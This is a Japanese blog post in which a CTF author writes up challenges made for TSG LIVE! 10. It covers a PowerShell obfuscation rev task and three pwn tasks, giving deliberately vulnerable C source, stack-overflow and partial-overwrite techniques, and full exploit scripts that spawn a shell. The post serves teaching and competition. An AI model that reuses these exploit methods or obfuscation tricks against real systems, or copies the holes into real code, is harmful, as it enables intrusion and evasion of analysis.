TSG LIVE! 10のLive CTFにて作問しました。

はじめに

5月13日の五月祭のTSG LIVE! 10の一企画としてLive CTFの作問と実況を行いました。実況の方は配信システムの方でいろいろ問題が発生して、あたふたしていましたが、PwnとRevの作問に関しては良質な問題を提供できたのではないかと考えています。

Githubリポジトリは以下のリンク

github.com

RevのWriteup

難読化されたpowershellソースコードを解析する問題です。コードの機能としては非常にシンプルで、FLAGの文字列を入力し、あっていたらcorrect!と、間違っていたらwrong...と返されるプログラムです。

whitespaceが大量に使われていたり、文字列を読みにくくされていたりしますが、if else文を使っている部分が一箇所だけ見つかります。この比較の条件分の$jが入力した文字列に対応しているので、$kがおそらくFLAGに対応しているだろうと予測して、$kWrite-OutputするとFLAGを得ることができます。

150点問題に相応しい難易度だったのではないでしょうか。

string_related

;iF                                                                                                                                                                                       ($j -cEq $k){&("{11}{3}{5}{8}{7}{0}{2}{4}{9}{10}{1}{6}" -f "`-","u","`o","R","U","`i","T","E","T","T","`P","`w") $s}                                                                                                            ElSe{&("{3}{5}{0}{10}{8}{4}{7}{6}{11}{9}{2}{1}" -f "`i","t","U","`W","`-","R","U","`o","E","p","t","t") $l}

PwnのWriteup

agent

checksec ./agent
agent.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Profile
{
    char name[0x10];
    char words[0x100];
    long age;
    char job[0x10];
};

void readline_n(char* buf, int n)
{
    char tmp[1];
    for(int i=0; i<n; i++)
    {
        read(STDIN_FILENO, tmp, 1);
        if (tmp[0] == '\n')
        {
            break;
        }
        buf[i] = tmp[0];
    }
    return;
}

void win()
{
    system("/bin/sh");
    return;
}

int main()
{
    struct Profile* p;
    setvbuf(stdout, (char*) NULL, _IONBF, 0);

    p = alloca(sizeof(struct Profile));

    printf("Enter your profile\n");

    printf("Your Name > ");
    readline_n(p->name, sizeof(p->name));
    printf("Your Words > ");
    readline_n(p->words, sizeof(p->words));
    printf("Your Age > ");
    scanf("%ld", &p->age);
    printf("Desired Job > ");
    readline_n(p->job, sizeof(p->job));

    printf("\n---------------Profile---------------\n");
    printf("Name: \t\t%s\nWords: \t\t%s\nAge: \t\t%ld\nDesired Job: \t%s\n", p->name, p->words, p->age, p->job);
    printf("-------------------------------------\n\n");

    char check[4];
    int num, i=0;
    printf("Anything to fix?\n");
    do {
        printf("1. Name\n2. Words\n3. Age\n4. Desired Job\n> ");
        scanf("%d", &num);
        switch(num)
        {
            case 1:
                printf("Name > ");
                readline_n(p->name, sizeof(p->name));
                i++;
                break;
            case 2:
                printf("Words > ");
                readline_n(p->words, sizeof(p->words));
                i++;
                break;
            case 3:
                printf("Age > ");
                scanf("%ld", &p->age);
                i++;
                break;
            case 4:
                printf("Desired Job > ");
                readline_n(p->job, sizeof(p->words));
                i++;
                break;
            default:
                puts("Please specify 1, 2, 3 or 4");
                puts("Bye");
                exit(0);
        }
        if (i == 1)
        {
            printf("Done fixing?\n");
            readline_n(check, sizeof(check));
            if (strncmp(check, "YES", 3) == 0)
            {
                break;
            }
        }
    } while (i < 2);

    printf("Sent the profile.\n Good luck!\n");
    return 0;
}

Profileという構造体がalloca()によってstackの上に取られています。入力に使われるreadline_n()はnull終端されず、改行を読み込むと改行自身を書き込まずに読み込みを終了します。

脆弱性のある箇所は、まず、バッファー領域が初期化されていないのでtext領域やlibcのアドレスなどがそのまま残っており、アドレスリークが可能です。また、jobメンバーへ16byteまるまる書き込みができるので、Profile構造体の直後にあるtext領域のアドレスもリークできます。

agent stack

switch文のcase 4:にてreadline_n(p->job, sizeof(p->words));というコードが存在し、0x10バイトのサイズのjobメンバーにwordsメンバーのサイズ分、つまり0x100バイトの書き込みができるというBOFが存在します。

No canaryなので、そのままBOFでreturn addressを書き換えることができます。system関数内のmovaps命令で落ちないように、win関数のアドレスのendbr64; push rbpの処理を飛ばしたwin()+5のアドレスをreturn addressに書き込めば終了です。

agent BOF

agent.py

from ptrlib import *

elf = ELF("../dist/agent")
libc = ELF('../dist/libc-2.31.so')

#io = Socket("localhost", 30005)
io = Process("../dist/agent")

io.sendlineafter("Name > ", "N"*0xf)
io.sendlineafter("Words > ", "W"*0xff)
io.sendlineafter("Age > ", "256")
io.sendlineafter("Job > ", "J" * (0x10 - 3) + "END")\

# leak text addr
io.recvuntil("END")

text_addr = io.recvline()
text_addr = u64(text_addr)
elf.base = text_addr - 0x12c9

payload = b"A" * 0x40

# align stack
payload += p64(elf.symbol('win') + 5)

io.sendlineafter("> ", '4')
io.sendlineafter("> ", payload)
io.interactive()

renewal

checksec ./renewal
renewal.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char tmp[1];
int j;

#define readline_n(buf, n)          \
{                                   \
    for(j=0; j<n; j++)              \
    {                               \
        read(STDIN_FILENO, tmp, 1); \
        if (tmp[0] == '\n')         \
        {                           \
            break;                  \
        }                           \
        buf[j] = tmp[0];            \
    }                               \
}                                   \

struct Profile
{
    char name[0x10];
    char words[0x100];
    long age;
    char job[0x10];
};

void win()
{
    system("/bin/sh");
    return;
}

int main()
{
    struct Profile* p;
    setvbuf(stdout, (char*) NULL, _IONBF, 0);

    p = alloca(sizeof(struct Profile));
    memset(p, 0, sizeof(struct Profile));

    printf("Enter your profile\n");

    printf("Your Name > ");
    readline_n(p->name, sizeof(p->name));
    printf("Your Words > ");
    readline_n(p->words, sizeof(p->words));
    printf("Your Age > ");
    scanf("%ld", &p->age);
    printf("Desired Job > ");
    readline_n(p->job, sizeof(p->job));

    printf("\n---------------Profile---------------\n");
    printf("Name: \t\t%s\nWords: \t\t%s\nAge: \t\t%ld\nDesired Job: \t%s\n", p->name, p->words, p->age, p->job);
    printf("-------------------------------------\n\n");

    char check[4];
    int num, i=0;
    printf("Anything to fix?\n");
    do {
        printf("1. Name\n2. Words\n3. Age\n4. Desired Job\n> ");
        scanf("%d", &num);
        switch(num)
        {
            case 1:
                printf("Name > ");
                readline_n(p->name, sizeof(p->name));
                i++;
                break;
            case 2:
                printf("Words > ");
                readline_n(p->words, sizeof(p->words));
                i++;
                break;
            case 3:
                printf("Age > ");
                scanf("%ld", &p->age);
                i++;
                break;
            case 4:
                printf("Desired Job > ");
                readline_n(p->job, sizeof(p->words));
                i++;
                break;
            default:
                puts("Please specify 1, 2, 3 or 4");
                puts("Bye");
                exit(0);
        }
        if (i == 1)
        {
            printf("Done fixing?\n");
            readline_n(check, sizeof(check));
            if (strncmp(check, "YES", 3) == 0)
            {
                break;
            }
        }
    } while (i < 2);

    printf("Sent the profile.\n Good luck!\n");
    return 0;
}

diff agent.c renewal.c -U 0

@@ -5,0 +6,16 @@
+char tmp[1];
+int j;
+
+#define readline_n(buf, n)          \
+{                                   \
+    for(j=0; j<n; j++)              \
+    {                               \
+        read(STDIN_FILENO, tmp, 1); \
+        if (tmp[0] == '\n')         \
+        {                           \
+            break;                  \
+        }                           \
+        buf[j] = tmp[0];            \
+    }                               \
+}                                   \
+
@@ -14,15 +29,0 @@
-void readline_n(char* buf, int n)
-{
-    char tmp[1];
-    for(int i=0; i<n; i++)
-    {
-        read(STDIN_FILENO, tmp, 1);
-        if (tmp[0] == '\n')
-        {
-            break;
-        }
-        buf[i] = tmp[0];
-    }
-    return;
-}
-
@@ -40,0 +42 @@
+    memset(p, 0, sizeof(struct Profile));

readline_n()が関数からマクロに変わりましたが、動作に違いはほとんどありません。memsetによって構造体のために取られたstack領域は0埋めされていますが、jobの領域0x10バイトにまるまる書き込みができるので、依然text領域のアドレスリークが可能です。stack canaryがオンになっているので、前問のagentとは違い単純なBOFではリターンアドレスを書き換えることができません。

ここで、注目するべきはProfile構造体のポインタであるpがスタック上のProfile用の領域よりアドレスの大きい方、つまり、BOFで書き換えられる領域に存在することです。また、numやiといったローカル変数も書き換えられることに注目してください。

renewal stack
stackのアドレスをリークすることはできませんが、readline_n()はnull終端でないので、pのアドレスの下1byteを書き換えることで、1/16の確率で自分の望むアドレスへとpのポインタをずらすことができます。具体的にはjobメンバーのバッファーの先頭アドレスをreturn addressに重ねることができます。

例えば上のスクリーンショットでは、return addressの格納されているstack上のアドレスは0x7ffcbf3ae858であり、jobメンバーのバッファーの先頭アドレスは0x7ffcbf3ae818です。つまり、pのアドレスを+0x40することができれば、jobに書き込んだ際にreturn addressの格納されている領域に書き込むことができるようになるということです。

renewal bof

今回はpのアドレスの下1byteを0x40で書き換えれば、jobの先頭とreturn addressが綺麗に重なりました。実際のexploitは例えば0x40で毎回書き換えるようにして、pのアドレスの下1byteが00になるまで接続し直す、という方法を取ります。stackのアドレスの下4bitは0で変わらないので、上4bitで0を引く確率、つまり1/16でこのexploitは成功します。

1/16を当てた後はjobにleakしたアドレスから逆算したwinのアドレスを書き込むだけです。ローカル変数iがi >= 1にならないとループを終了できないので、BOFで書き換える際には気をつけてください。また、iに負の数を入れれば、他数回numで指定したメンバーに書き込みができるということにここで気づけるはずです。

renewal return address overwrite

return addressを書き換えたら、mainの処理を終了してreturnすれば、win関数が実行されます。

renewal.py

from ptrlib import *

elf = ELF("../dist/renewal")
libc = ELF('../dist/libc-2.31.so')

while(1):
    try:
        io = Process("../dist/renewal")
        #io = Socket("localhost", 30017)

        #input()
        io.sendlineafter("Name > ", "N")
        io.sendlineafter("Words > ", "W")
        io.sendlineafter("Age > ", "256")
        io.sendlineafter("Job > ", "J" * (0x10 - 3) + "END")
        io.recvuntil("END")
        text_addr = io.recvline()
        text_addr = u64(text_addr)
        elf.base = text_addr - 0x12b9

        io.sendlineafter("> ", "4")

        # 1/16
        one_byte = 0x40
        payload = b"C" * 0x18
        payload += p32(0x4)
        payload += p32(0xffffffff)
        payload += p8(one_byte)
        io.sendlineafter("> ", payload)

        win_addr = elf.symbol('win')
        io.sendlineafter("> ", "4")
        io.sendlineafter("> ", p64(win_addr + 5))
        io.sendlineafter("?\n", "YES")
        io.sendlineafter("!\n", "ls")
        io.sendlineafter("flag", "cat flag", timeout=0.1)
        break
    except TimeoutError as e:
        print(e)

io.interactive()

true_version

checksec ./true_version
true_version.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char tmp[1];
int j;

#define readline_n(buf, n)          \
{                                   \
    for(j=0; j<n; j++)              \
    {                               \
        read(STDIN_FILENO, tmp, 1); \
        if (tmp[0] == '\n')         \
        {                           \
            break;                  \
        }                           \
        buf[j] = tmp[0];            \
    }                               \
}                                   \

struct Profile
{
    char name[0x10];
    char words[0x100];
    long age;
    char job[0x10];
};

void win()
{
    system("/bin/sh");
    return;
}

int main()
{
    struct Profile* p;
    setvbuf(stdout, (char*) NULL, _IONBF, 0);

    p = alloca(sizeof(struct Profile));
    memset(p, 0, sizeof(struct Profile));

    printf("Enter your profile\n");

    printf("Your Name > ");
    readline_n(p->name, sizeof(p->name));
    printf("Your Words > ");
    readline_n(p->words, sizeof(p->words));
    printf("Your Age > ");
    scanf("%ld", &p->age);
    printf("Desired Job > ");
    readline_n(p->job, sizeof(p->job) - 1);

    printf("\n---------------Profile---------------\n");
    printf("Name: \t\t%s\nWords: \t\t%s\nAge: \t\t%ld\nDesired Job: \t%s\n", p->name, p->words, p->age, p->job);
    printf("-------------------------------------\n\n");

    char check[4];
    int num, i=0;
    printf("Anything to fix?\n");
    do {
        printf("1. Name\n2. Words\n3. Age\n4. Desired Job\n> ");
        scanf("%d", &num);
        switch(num)
        {
            case 1:
                printf("Name > ");
                readline_n(p->name, sizeof(p->name));
                i++;
                break;
            case 2:
                printf("Words > ");
                readline_n(p->words, sizeof(p->words));
                i++;
                break;
            case 3:
                printf("Age > ");
                scanf("%ld", &p->age);
                i++;
                break;
            case 4:
                printf("Desired Job > ");
                readline_n(p->job, sizeof(p->words));
                i++;
                break;
            default:
                puts("Please specify 1, 2, 3 or 4");
                puts("Bye");
                exit(0);
        }
        if (i == 1)
        {
            printf("Done fixing?\n");
            readline_n(check, sizeof(check));
            if (strncmp(check, "YES", 3) == 0)
            {
                break;
            }
        }
    } while (i < 2);

    printf("Sent the profile.\n Good luck!\n");
    return 0;
}

diff renewal.c true_version.c -U 0

@@ -53 +53 @@
-    readline_n(p->job, sizeof(p->job));
+    readline_n(p->job, sizeof(p->job) - 1);

renewalと違って、jobに0xfバイトしか書き込めなくなってしまったので、アドレスリークができません。しかし、相変わらずBOFが存在し、pのアドレスの下1byteを書き換えてProfile構造体の領域をずらして色々書き換えることはできそうです。書き込み回数はiを適宜負の数に書き換えたりすることで、何回でも書き換えることができます。

アドレスリークは厳しそうなので、stackのreturn addressから下、つまりreturn addressの存在するstackのアドレスよりもアドレスが大きい領域に存在する、アドレスの下1byteを適宜書き換えていって、ROPのpayloadを組むことが目標になります。

true_version structure

今回上のスクリーンショットを確認すると、return addressの格納されたstackのアドレスは0x7ffe8d173758です。ここに格納されているlibcのアドレスの下1byteを書き換えていい感じのガジェットに飛ばすことを考えます。さらに1/16の確率を許容するならば(全体では1/256)、libcのアドレスの下2byteを書き換えて飛んでいけるガジェットから良さそうなものを探しても良いです。

base address
libc_offset
rp++ -f ./libc-2.31.so -r 4 | grep 0x000240

...
0x0002408a: mov rax, qword [rsp+0x08] ; lea rdi, qword [0x00000000001B3E68] ; mov rsi, qword [rax] ; xor eax, eax ; call qword [rdx+0x000001D0] ;  (1 found)
0x0002407c: mov rax, qword [rsp+0x18] ; call rax ;  (1 found)
0x0002400b: mov rdx, qword [rax] ; call rbx ;  (1 found)
...

結論から述べるのであれば、オフセット0x2407cにある、mov rax, qword [rsp+0x18] ; call rax ;が良さそうなガジェットになります。というのも、mainからreturnして仮にこのガジェットを踏んだ際、その瞬間のrsp = 0x7ffe8d173760であり、0x7ffe8d173760 + 0x18 = 0x7ffe8d173778にはtext領域のアドレスが入っているからです。このアドレスはmainのシンボルのアドレスで、下1byteを0x69に書き換えるだけで、winのシンボルのアドレスへと変えることができます。
text_offset
readelf -s true_version
つまり、return addressの下1byteを0x7cに書き換えて、mov rax, qword [rsp+0x18] ; call rax ;のアドレスへと変更し、return address+0x20のtext領域のアドレスの下1byteを0x69に書き換えて、winのアドレスを作った上で、main関数からreturnすれば、win関数が実行されてshellを起動できます。

各手順の遷移を詳しく追っていきましょう。

まず、BOFを使ってpのアドレスを書き換えて、jobの先頭とreturn addressの格納されたstackのアドレスを一致させます。確率は1/16です。ローカル変数i0xffffffffにします。

true_version bof
jobに書き込んでreturn addressであるlibcのアドレスの下1byteを0x7cに変更します。
overwrite libc
wordsに書き込んでProfileの構造体のポインタpのアドレス下1byteを書き換えて、return address + 0x20のアドレスとjobの先頭が一致するようにします。この時にローカル変数iが再び0xffffffffになるように気をつけます。
overwrite p
jobに書き込んでtextのアドレスの下1byteを0x69に変更します。
overwrite text

最後にmain関数の残りを実行してreturnするとlibcのガジェットに飛びます。

libc gadget
ガジェットが実行される際に、call raxの前にはちゃんとraxに0x560cfbcd8269というwinのアドレスが入っています。
after call
最後にwinを実行してshellが起動します。
win

agent -> renewal -> true_versionと徐々に攻撃の制約が厳しくなるという構成でしたが、かなりいい問題に仕上がったと考えています。特に、最後のtrue_versionはcanaryを間にして、wordsとjobを交互に書き換えてROPまたはCOPのpayloadを作っていくところがとても面白いと思っています。めちゃくちゃ頑張ればwin関数なしでもsystem("/bin/sh")を起動できるかもしれません(ほんまか)。試していませんが。

true_version.py

from ptrlib import *

elf = ELF("../dist/true_version")
libc = ELF('../dist/libc-2.31.so')

while(1):
    try:
        io = Process("../dist/true_version")
        #io = Socket("localhost", 30022)

        #input()
        io.sendlineafter("Name > ", "N")
        io.sendlineafter("Words > ", "W")
        io.sendlineafter("Age > ", "256")
        io.sendlineafter("Job > ", "J")
        io.sendlineafter("> ", "4")

        # 1/16
        one_byte = 0x40
        io.sendlineafter("> ", b"C" * 0x18 + p32(0x4) + p32(0xffffffff)+ p8(one_byte))

        one_byte_for_mov_rax_qword_rsp_18_call_rax = 0x7c

        io.sendlineafter("> ", "4")
        io.sendlineafter("> ", p8(one_byte_for_mov_rax_qword_rsp_18_call_rax))
        io.sendlineafter("?\n", "NO")


        io.sendlineafter("> ", "2")
        io.sendlineafter("> ", b"B" * 0xe0 + p32(0x2) + p32(0xffffffff)+ p8(one_byte+0x20))

        win_byte = 0x69
        io.sendlineafter("> ", "4", timeout=0.1)
        io.sendlineafter("> ", p8(win_byte))
        io.sendlineafter("?\n", "YES")
        break
    except TimeoutError as e:
        print(e)

io.interactive()

作問のログ

今回の作問は、moraさんに色々レビューしてもらってとても充実した楽しい体験でした。こんな感じでTSGでは作問やってますよ〜というのを公開したいと思います。

Rev

本番2日前に作り始めた問題です。これまで、Live CTFではx86_64のELFのRevばかり出してきましたが、今回TSG側でRevやPwn担当が少なかったので、powershellのコードの方が誰でもチャレンジできそうで良さそうということで、難読化したps1ファイルを出しました。TSG-Red, TSG-Blueともに解いてくれたようでよかったです。

Google scholarで難読化の方法として紹介されていたstringに関係のあるものを全て盛り込んだものになります。

https://arxiv.org/pdf/1904.10270.pdf

string related 構想

大元のps1ファイルは以下のような簡単なプログラムです。

original.ps1

$input = Read-Host "FLAG"
$flag = "TSGLIVE{FAKEFLAG}"

if ($input -ceq $flag)
{
    Write-Output "correct!"
}
else
{
    Write-Output "wrong..."
}

全ての変更を逐次詳細に書きはしませんが(というのも細かな修正がいくつかあったので)、大まかな変更だけ書いていきます。

まず、存在する文字列を全て文字の足し算にします。

string concatenation

- $f = "TSGLIVE{FAKEFLAG}"
+ $f = "T"+"S"+"G"+"L"+"I"+"V"+"E"+"{"+"m"+"u"+"l"+"t"+"1"+"p"+"l"+"3"+"_"+"l"+"a"+"y"+"3"+"r"+"5"+"_"+"0"+"f"+"_"+"5"+"l"+"1"+"g"+"h"+"t"+"_"+"0"+"b"+"f"+"u"+"5"+"c"+"a"+"t"+"1"+"0"+"n"+"_"+"t"+"3"+"c"+"h"+"n"+"1"+"q"+"u"+"3"+"5"+"_"+"h"+"1"+"n"+"d"+"3"+"r"+"_"+"a"+"n"+"a"+"l"+"y"+"5"+"1"+"5"+"}"

次に、それぞれの文字列を必ず並べ替えます。

string reordering

- $f = "T"+"S"+"G"+"L"+"I"+"V"+"E"+"{"+"m"+"u"+"l"+"t"+"1"+"p"+"l"+"3"+"_"+"l"+"a"+"y"+"3"+"r"+"5"+"_"+"0"+"f"+"_"+"5"+"l"+"1"+"g"+"h"+"t"+"_"+"0"+"b"+"f"+"u"+"5"+"c"+"a"+"t"+"1"+"0"+"n"+"_"+"t"+"3"+"c"+"h"+"n"+"1"+"q"+"u"+"3"+"5"+"_"+"h"+"1"+"n"+"d"+"3"+"r"+"_"+"a"+"n"+"a"+"l"+"y"+"5"+"1"+"5"+"}"

+ $a = "T"+"S"+"G"+"L"+"I"+"V"+"E"
+ $b = "{"+"m"+"u"+"l"+"t"+"1"+"p"+"l"+"3"
+ $c = "_"+"l"+"a"+"y"+"3"+"r"+"5"
+ $d = "_"+"0"+"f"
+ $e = "_"+"5"+"l"+"1"+"g"+"h"+"t"
+ $f = "_"+"0"+"b"+"f"+"u"+"5"+"c"+"a"+"t"+"1"+"0"+"n"
+ $g = "_"+"t"+"3"+"c"+"h"+"n"+"1"+"q"+"u"+"3"+"5"
+ $h = "_"+"h"+"1"+"n"+"d"+"3"+"r"
+ $i = "_"+"a"+"n"+"a"+"l"+"y"+"5"+"1"+"5"+"}"

+ $k = "{3}{4}{6}{0}{8}{7}{5}{2}{1}" -f $d, $i, $h, $a, $b, $g, $c, $f, $e

次にTickをそれぞれの文字に追加します。Tickはエスケープシークエンスに使われる`を用いた難読化です。

learn.microsoft.com

上のサイトにあるような認識されるエスケープシークエンス、以外の文字の前に`を置いても何も起きないので、自由に付加することができます

Tick

- $b = "_"+"5"+"l"+"1"+"g"+"h"+"t"
+ $b = "`_"+"`5"+"`l"+"`1"+"`g"+"`h"+"t"

evalは&()()内の文字列をコマンドとして扱えるというものです。evalを使うことで、コマンドを文字列として難読化できるようになり、前述や後述する文字列周りの難読化を適用できるようになります。

Eval

+ `Wr`ite-`Out`put "`wr`on`g`.`.`."
- &(`Wr`ite-`Out`put) "`w"+"r"+"`o"+"n"+"`g"+"`."+"`."+"`."

Up-Low CaseはCTFにおいてpowershellのコードを読んだことのある人は大抵目にするものですが、コマンドなどの文字列を小文字大文字ごちゃ混ぜにして読みにくくするというものです。

Up-Low Case

+ if ($j -ceq $k)
- iF ($j -cEq $k)

最後のwhitespaceはpowershellにおいて一部を除いて空白文字をいくら挿入してもコードの実行には関係がない、というのを利用してコードの可読性を下げる方法です。今回はif elseなどのコードの動作の本質部分をwhitespaceで右側へ押し流して、スクロールしなければ読めないようにしました。neovimなどでファイルを開いた場合は通用しないものではあります。

また、ChatGPTに投げるだけでは解けないように、大量の変数への代入を重複してコードの前半に持ってくることで、コードの本質部分が読み込まれにくくしました。最初の方の適当な変数を取ってきてprintしたものをつなぎ合わせてFLAGを復元できないよう、_0urという短い文字列を格納した変数を一つだけコードの後ろの方で作ることで、$kのprintをしない限りは解けないようにしました。

string related review

if elseを増やせばもっと難しくなるのではという話は出していましたが、結果的にはこれ以上面倒にしなくて正解だったと思います。

Pwn

今回の最初の構想はCanaryが存在してもstack based BOFでreturn addressを書き換えられる問題を作ろうというものでした。そこで、stack上に構造体を取ってその構造体の中でのBOFで構造体自身のポインタを書き換えて、canaryを書き換えることなくreturn addressを書き換えるという問題設定を考えました。しかし、gccのデフォルトの-fstack-protector-strongでは、char型のバッファやstack上に取ったstructの領域よりもアドレスの大きい方にポインターが存在することがないようにコンパイルされてしまうので困っていました。

stack protector 賢すぎ
そこで、moraさんにallocaで取ればいいのでは?と教えてもらいました。
alloca
もっともallocaでポインタより上にバッファ領域を取るのは、一昔前のpwnの問題ではよくあったらしいです。作問の人は誰もが一回は考えることなのかも。 そんなこんなで、暫定でできたものは、agentと、renewalのバッファを0埋めしていない問題でした。libcのアドレスが両方ともにleakできるので、win関数も作っておらず、readline_n()はマクロにはしていませんでした。また、numを1回しか指定できません。
pwn暫定

first renewal

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Profile
{
    char name[0x10];
    char words[0x100];
    long age;
    char job[0x10];
};

void readline_n(char* buf, int n)
{
    char tmp[1];
    for(int i=0; i<n; i++)
    {
        read(STDIN_FILENO, tmp, 1);
        if (tmp[0] == '\n')
        {
            break;
        }
        buf[i] = tmp[0];
    }
    return;
}

int main()
{
    unsigned int n;
    struct Profile* p;
    setvbuf(stdout, (char*) NULL, _IONBF, 0);

    printf("How many people? > ");
    scanf("%u", &n);
    if (n > 5)
    {
        printf("Max 5 people for registration.\n");
        exit(0);
    }
    p = alloca(sizeof(struct Profile) * n);

    printf("Enter your profile\n");

    printf("Your Name > ");
    readline_n(p->name, sizeof(p->name));
    printf("Your Words > ");
    readline_n(p->words, sizeof(p->words));
    printf("Your Age > ");
    scanf("%ld", &p->age);
    printf("Desired Job > ");
    readline_n(p->job, sizeof(p->job));

    printf("\n---------------Profile---------------\n");
    printf("Name: \t\t%s\nWords: \t\t%s\nAge: \t\t%ld\nDesired Job: \t%s\n", p->name, p->words, p->age, p->job);
    printf("-------------------------------------\n\n");

    char check[4];
    int num, i=0;
    printf("Anything to fix?\n");
    printf("1. Name\n2. Words\n3. Age\n4. Desired Job\n> ");
    scanf("%d", &num);
    do {
        switch(num)
        {
            case 1:
                printf("Name > ");
                readline_n(p->name, sizeof(p->name));
                i++;
                break;
            case 2:
                printf("Words > ");
                readline_n(p->words, sizeof(p->words));
                i++;
                break;
            case 3:
                printf("Age > ");
                scanf("%ld", &p->age);
                i++;
                break;
            case 4:
                printf("Desired Job > ");
                readline_n(p->job, sizeof(p->words));
                i++;
                break;
            default:
                puts("Please specify 1, 2, 3 or 4");
                puts("Bye");
                exit(0);
        }
        if (i == 1)
        {
            printf("Done fixing?\n");
            readline_n(check, sizeof(check));
            if (strncmp(check, "YES", 3) == 0)
            {
                break;
            }
        }
    } while (i < 2);

    printf("Sent the profile.\n Good luck!\n");
    return 0;
}

いくつかツッコミポイントがあって、まず、moraさんからもらったコードをそのまま何も考えずに貼り付けた結果、一つしか使わないのに、Profile構造体を5つもstack上に取っている部分です。これは、勝手に複数個ないとコンパイラがポインタより上のstack領域にバッファを取ってしまって問題が解けなくなると勝手に思い込んでいたからですが、普通に1個で大丈夫というか、そもそもsizeof()の結果のサイズ分を取っているだけなので、Profileが幾つだとか全く関係なかったです。こういう無意味な勘違いをやめたい。

第二に実はiをいじれば複数回書き換えられるということに、ここで気づきました。

iの書き換え
true_versionもここでなんとなく思いつきます。何回も書き換えられるということは、return addressの下にROPのpayloadを作ることができて -> アドレスリークがない状態でもなんとか出来そうでは? -> libcのガジェットでいい感じのないかな -> mov rax, qword [rsp+0x18] ; call rax ;といった具合にです。

ですから、実質問題を自分で解きながら作ったという感じです。ここで、確率を下げるのとexploitableにするためにwin関数の追加を決定します。

true_version 構想

first true_version

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Profile
{
    char name[0x10];
    char words[0x100];
    long age;
    char job[0x10];
};

void readline_n(char* buf, int n);

void win()
{
    system("/bin/sh");
    return;
}

int main()
{
    unsigned int n;
    struct Profile* p;
    setvbuf(stdout, (char*) NULL, _IONBF, 0);

    printf("How many people? > ");
    scanf("%u", &n);
    if (n > 5)
    {
        printf("Max 5 people for registration.\n");
        exit(0);
    }
    p = alloca(sizeof(struct Profile) * n);
    memset(p, 0, sizeof(struct Profile) * n);

    printf("Enter your profile\n");

    printf("Your Name > ");
    readline_n(p->name, sizeof(p->name));
    printf("Your Words > ");
    readline_n(p->words, sizeof(p->words));
    printf("Your Age > ");
    scanf("%ld", &p->age);
    printf("Desired Job > ");
    readline_n(p->job, sizeof(p->job));

    printf("\n---------------Profile---------------\n");
    printf("Name: \t\t%s\nWords: \t\t%s\nAge: \t\t%ld\nDesired Job: \t%s\n", p->name, p->words, p->age, p->job);
    printf("-------------------------------------\n\n");

    char check[4];
    int num, i=0;
    printf("Anything to fix?\n");
    do {
        printf("1. Name\n2. Words\n3. Age\n4. Desired Job\n> ");
        scanf("%d", &num);
        switch(num)
        {
            case 1:
                printf("Name > ");
                readline_n(p->name, sizeof(p->name));
                i++;
                break;
            case 2:
                printf("Words > ");
                readline_n(p->words, sizeof(p->words));
                i++;
                break;
            case 3:
                printf("Age > ");
                scanf("%ld", &p->age);
                i++;
                break;
            case 4:
                printf("Desired Job > ");
                readline_n(p->job, sizeof(p->words));
                i++;
                break;
            default:
                puts("Please specify 1, 2, 3 or 4");
                puts("Bye");
                exit(0);
        }
        if (i == 1)
        {
            printf("Done fixing?\n");
            readline_n(check, sizeof(check));
            if (strncmp(check, "YES", 3) == 0)
            {
                break;
            }
        }
    } while (i < 2);

    printf("Sent the profile.\n Good luck!\n");
    return 0;
}

void readline_n(char* buf, int n)
{
    char tmp[1];
    for(int i=0; i<n; i++)
    {
        read(STDIN_FILENO, tmp, 1);
        if (tmp[0] == '\n')
        {
            break;
        }
        buf[i] = tmp[0];
    }
    return;
}

true_version 暫定

当日の朝にmoraさんにレビューしてもらいました。 見つかった問題点はいくつかあって、Profile構造体の個数に0を指定するとクラッシュするというのと、そもそもProfile構造体が複数必要ないということ(前述した点です)。 また、初期化していないメモリ領域に過去のstack canaryの残骸が残っていて、普通にstack canaryをリークしてBOFでリターンアドレスまで書き換えられてしまう、ということです。これは、true_versionと同じようにProfileの領域はmemsetで0埋めしてしまうことにしました。jobの末尾からtext領域のアドレスがリークできることを使えば、ret2pltでlibcのアドレスを読み出してからのret2libcで解けます。

もっとも、true_versionでwinを使うので、renewalやagentでも一貫性のためにwinを追加して、簡単にしました。

mora レビュー1

また、true_versionのレビューにて非想定解が見つかりました。

mora レビュー2
そこで、readline_n()はマクロに変更しました。一方で、agentの方はマクロにすると単純なBOFではreadline_n()の参照するポインタが書き換わってしまうことで、pのアドレスを適切に書き換えない限りexploitできず、それでは実質renewalと同じになってしまうということで、関数のままにしました。agentでは関数だったreadline_n()がrenewalやtrue_versionではマクロだったのは、以上のような経緯によるものでした。

以下、マクロを書いたことが無さすぎて、危うくmain関数を壊すところだった話。

readline_n() マクロ化
readline_n() マクロ化2

また、readline_n()のループカウンタはbss領域を使うことにしました、何も考えずにstackのままにしていたら、解く人全員を発狂させてしまうところでした。

readline_n() マクロ化3

こうして当日の朝6:00にtrue_versionが出来上がったという感じです。

終わりに

CTF楽しすぎと話題に。作問も、問題を解くのも、今後も一層力を入れてやっていきたいです。

実際のところtrue_versionは2回の書き換えでshellが取れたみたいです。

ptr-yudai.hatenablog.com

天才 writeup

次回はLive CTF 11かTSG CTFでお会いしましょう~